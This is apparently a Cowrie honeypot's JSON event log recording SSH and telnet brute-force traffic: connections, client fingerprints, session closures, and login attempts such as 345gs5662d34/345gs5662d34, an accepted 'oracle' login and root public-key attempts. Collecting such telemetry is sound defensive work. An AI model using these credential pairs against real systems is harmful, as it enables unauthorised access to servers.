{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:53.815969Z","src_ip":"211.186.79.173","session":"373d29e93e43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:54.595645Z","src_ip":"211.186.79.173","session":"373d29e93e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:54.612566Z","src_ip":"187.212.47.18","session":"84a0bb8ac6ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.086330890655518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:55.066892Z","src_ip":"50.6.3.16","session":"d019c16f8adf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:55.784035Z","src_ip":"211.186.79.173","session":"373d29e93e43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":46206,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a08ee1a287e","protocol":"ssh","message":"New connection: 211.186.79.173:46206 (10.17.0.5:22) [session: 1a08ee1a287e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:55.952864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:55.958134Z","src_ip":"211.186.79.173","session":"1a08ee1a287e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:56.139966Z","src_ip":"211.186.79.173","session":"1a08ee1a287e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.109493255615234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:56.782641Z","src_ip":"50.6.3.16","session":"f33def1c2897","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:56.889924Z","src_ip":"211.186.79.173","session":"1a08ee1a287e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:57.073669Z","src_ip":"211.186.79.173","session":"1a08ee1a287e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:57.083282Z","src_ip":"211.186.79.173","session":"48f7726512f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.351874589920044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:58.372139Z","src_ip":"50.6.3.16","session":"49773b55cc3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.364161252975464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:58.772010Z","src_ip":"50.6.3.16","session":"00a935153edb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48264,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8873974de83","protocol":"telnet","message":"New connection: 50.6.3.16:48264 (10.17.0.5:23) [session: f8873974de83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:59.544055Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48272,"dst_ip":"10.17.0.5","dst_port":23,"session":"33680203a1a0","protocol":"telnet","message":"New connection: 50.6.3.16:48272 (10.17.0.5:23) [session: 33680203a1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:00.013954Z"}
{"eventid":"cowrie.session.closed","duration":31.004844188690186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:00.107439Z","src_ip":"50.6.3.16","session":"4a9bbc08c908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06991195678711,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:00.346043Z","src_ip":"50.6.3.16","session":"7eee68c0bc2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48274,"dst_ip":"10.17.0.5","dst_port":23,"session":"12587c3287a4","protocol":"telnet","message":"New connection: 50.6.3.16:48274 (10.17.0.5:23) [session: 12587c3287a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:00.935883Z"}
{"eventid":"cowrie.session.closed","duration":31.484127044677734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:01.407288Z","src_ip":"50.6.3.16","session":"6f43641d7836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48292,"dst_ip":"10.17.0.5","dst_port":23,"session":"331eddfef75d","protocol":"telnet","message":"New connection: 50.6.3.16:48292 (10.17.0.5:23) [session: 331eddfef75d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:02.403709Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48300,"dst_ip":"10.17.0.5","dst_port":23,"session":"4828df49fe0a","protocol":"telnet","message":"New connection: 50.6.3.16:48300 (10.17.0.5:23) [session: 4828df49fe0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:02.570376Z"}
{"eventid":"cowrie.session.closed","duration":30.819215297698975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:02.639035Z","src_ip":"50.6.3.16","session":"89e688c96dd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.378525972366333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:02.648041Z","src_ip":"50.6.3.16","session":"fccda647153a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.678966283798218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:02.837016Z","src_ip":"50.6.3.16","session":"ca1212a0884f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08416247367859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:03.931090Z","src_ip":"50.6.3.16","session":"52f0d739a3d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48306,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c971a09e53b","protocol":"telnet","message":"New connection: 50.6.3.16:48306 (10.17.0.5:23) [session: 8c971a09e53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:04.089931Z"}
{"eventid":"cowrie.session.closed","duration":31.082244634628296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:04.653222Z","src_ip":"50.6.3.16","session":"dcbb4de080e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48318,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ca88b7b7acd","protocol":"telnet","message":"New connection: 50.6.3.16:48318 (10.17.0.5:23) [session: 0ca88b7b7acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:04.972127Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48322,"dst_ip":"10.17.0.5","dst_port":23,"session":"3666cf0b8f03","protocol":"telnet","message":"New connection: 50.6.3.16:48322 (10.17.0.5:23) [session: 3666cf0b8f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:05.120022Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48328,"dst_ip":"10.17.0.5","dst_port":23,"session":"30da2a1a1381","protocol":"telnet","message":"New connection: 50.6.3.16:48328 (10.17.0.5:23) [session: 30da2a1a1381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:05.302783Z"}
{"eventid":"cowrie.session.closed","duration":31.27853488922119,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:05.848325Z","src_ip":"50.6.3.16","session":"3e8dd30ddb3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48338,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a042205d005","protocol":"telnet","message":"New connection: 50.6.3.16:48338 (10.17.0.5:23) [session: 8a042205d005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:06.073141Z"}
{"eventid":"cowrie.session.closed","duration":31.077718019485474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:06.332858Z","src_ip":"50.6.3.16","session":"1df070929ee1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48352,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c58677bc04","protocol":"telnet","message":"New connection: 50.6.3.16:48352 (10.17.0.5:23) [session: 47c58677bc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:06.434279Z"}
{"eventid":"cowrie.session.closed","duration":31.09021520614624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:07.001726Z","src_ip":"50.6.3.16","session":"63258afb8502","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36596,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0a34c08b430","protocol":"telnet","message":"New connection: 50.6.3.16:36596 (10.17.0.5:23) [session: e0a34c08b430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:08.317860Z"}
{"eventid":"cowrie.session.closed","duration":30.991289377212524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:08.350182Z","src_ip":"50.6.3.16","session":"9a96eca56d80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36606,"dst_ip":"10.17.0.5","dst_port":23,"session":"289c4cbc4af2","protocol":"telnet","message":"New connection: 50.6.3.16:36606 (10.17.0.5:23) [session: 289c4cbc4af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:08.484652Z"}
{"eventid":"cowrie.session.closed","duration":30.31519389152527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:08.562718Z","src_ip":"50.6.3.16","session":"c18e9bab5775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.082075595855713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:08.607505Z","src_ip":"50.6.3.16","session":"799ac7ac4384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36610,"dst_ip":"10.17.0.5","dst_port":23,"session":"0302660c2775","protocol":"telnet","message":"New connection: 50.6.3.16:36610 (10.17.0.5:23) [session: 0302660c2775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:09.306750Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36626,"dst_ip":"10.17.0.5","dst_port":23,"session":"baca44265ce5","protocol":"telnet","message":"New connection: 50.6.3.16:36626 (10.17.0.5:23) [session: baca44265ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:09.949272Z"}
{"eventid":"cowrie.session.closed","duration":31.00701665878296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:10.556790Z","src_ip":"50.6.3.16","session":"bab6b32812c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36636,"dst_ip":"10.17.0.5","dst_port":23,"session":"aadf8538291d","protocol":"telnet","message":"New connection: 50.6.3.16:36636 (10.17.0.5:23) [session: aadf8538291d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:10.740825Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36652,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bcb3a281fa6","protocol":"telnet","message":"New connection: 50.6.3.16:36652 (10.17.0.5:23) [session: 2bcb3a281fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:12.217273Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36668,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb10ec6112c8","protocol":"telnet","message":"New connection: 50.6.3.16:36668 (10.17.0.5:23) [session: bb10ec6112c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:12.826759Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36680,"dst_ip":"10.17.0.5","dst_port":23,"session":"317b5ec0ac31","protocol":"telnet","message":"New connection: 50.6.3.16:36680 (10.17.0.5:23) [session: 317b5ec0ac31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:13.136076Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36684,"dst_ip":"10.17.0.5","dst_port":23,"session":"09895146c6a2","protocol":"telnet","message":"New connection: 50.6.3.16:36684 (10.17.0.5:23) [session: 09895146c6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:13.444010Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36700,"dst_ip":"10.17.0.5","dst_port":23,"session":"257baf1d8cce","protocol":"telnet","message":"New connection: 50.6.3.16:36700 (10.17.0.5:23) [session: 257baf1d8cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:14.125170Z"}
{"eventid":"cowrie.session.closed","duration":31.08710741996765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:15.214178Z","src_ip":"50.6.3.16","session":"9f946ec42608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.127.221","src_port":39826,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ce5e8cc1d45","protocol":"ssh","message":"New connection: 198.20.127.221:39826 (10.17.0.5:22) [session: 8ce5e8cc1d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:15.414477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:15.419257Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:15.506187Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:6d:2b:f6:a0:64:f2:81:e5:fc:d9:b2:a7:41:30:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0oX26RU8Cy4Wjsqt2+IiFR++OivgoE6TkQ8A6w1T1lArodGYw4p2/QJgZLqTzzFiC/eb2pfvTw2zJ/Vc+tZB+bInFc6X3wkNsYYu7vxwHsCi29np9YAvSPqWojMNjCMuvQyt5yGZ/rub0LNpRReda9qxPMvvo0T8yZrs2tLGLEYonecVmA/0nFkrKLLJv53qwlFPSCX55IIqxFj3YRH8R8bx9LgWLgIdlfj5xhdDxR592oAjkLWDdbrBbsUwlBdX4eVrn9Bxjg00hn8ObYgL5MMYABaCrcBdb2/v49lOTIeeatIN6tqaNIcT8NIRfGBEvUYfYeo2ElufMdC56dT7YQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:6d:2b:f6:a0:64:f2:81:e5:fc:d9:b2:a7:41:30:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:15.920342Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:6d:2b:f6:a0:64:f2:81:e5:fc:d9:b2:a7:41:30:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0oX26RU8Cy4Wjsqt2+IiFR++OivgoE6TkQ8A6w1T1lArodGYw4p2/QJgZLqTzzFiC/eb2pfvTw2zJ/Vc+tZB+bInFc6X3wkNsYYu7vxwHsCi29np9YAvSPqWojMNjCMuvQyt5yGZ/rub0LNpRReda9qxPMvvo0T8yZrs2tLGLEYonecVmA/0nFkrKLLJv53qwlFPSCX55IIqxFj3YRH8R8bx9LgWLgIdlfj5xhdDxR592oAjkLWDdbrBbsUwlBdX4eVrn9Bxjg00hn8ObYgL5MMYABaCrcBdb2/v49lOTIeeatIN6tqaNIcT8NIRfGBEvUYfYeo2ElufMdC56dT7YQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:15.924155Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:28:b7:b5:62:5c:0f:1d:42:1a:54:15:64:1c:4b:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtG1MSsgQjDHbHRicgpLZMrQFE6mAJ5WvYeNGWfYp6zcDqyU9r6kK2qyKWcdy9ASe+nDA2mRwZOV1UxQbPJLwQgkjt3Yjgf2wh1jS0kUO2TBTll0g/xhpCgjA1jpwVwdb+iQ6fhuVG+AJc84kj+JMukXk+7aAdiOfxy31hsrYSYYzcMhg3eAmDWZIMLc1pHhUaQ9EFanzv1dytPZOWwnLv0yi3kGH2fk9ABQ0SwesZWkigTzjy7WOP+SmG8BUKmlwnFzbnqr4OG1dnquN4NSyVjp6W/kOi6ThsyU2+F3JBEUOX7wwTElOYVVPV+Pv8D2gz5IhMLzv0ZH3cx5QYEKBqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:28:b7:b5:62:5c:0f:1d:42:1a:54:15:64:1c:4b:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:16.012084Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
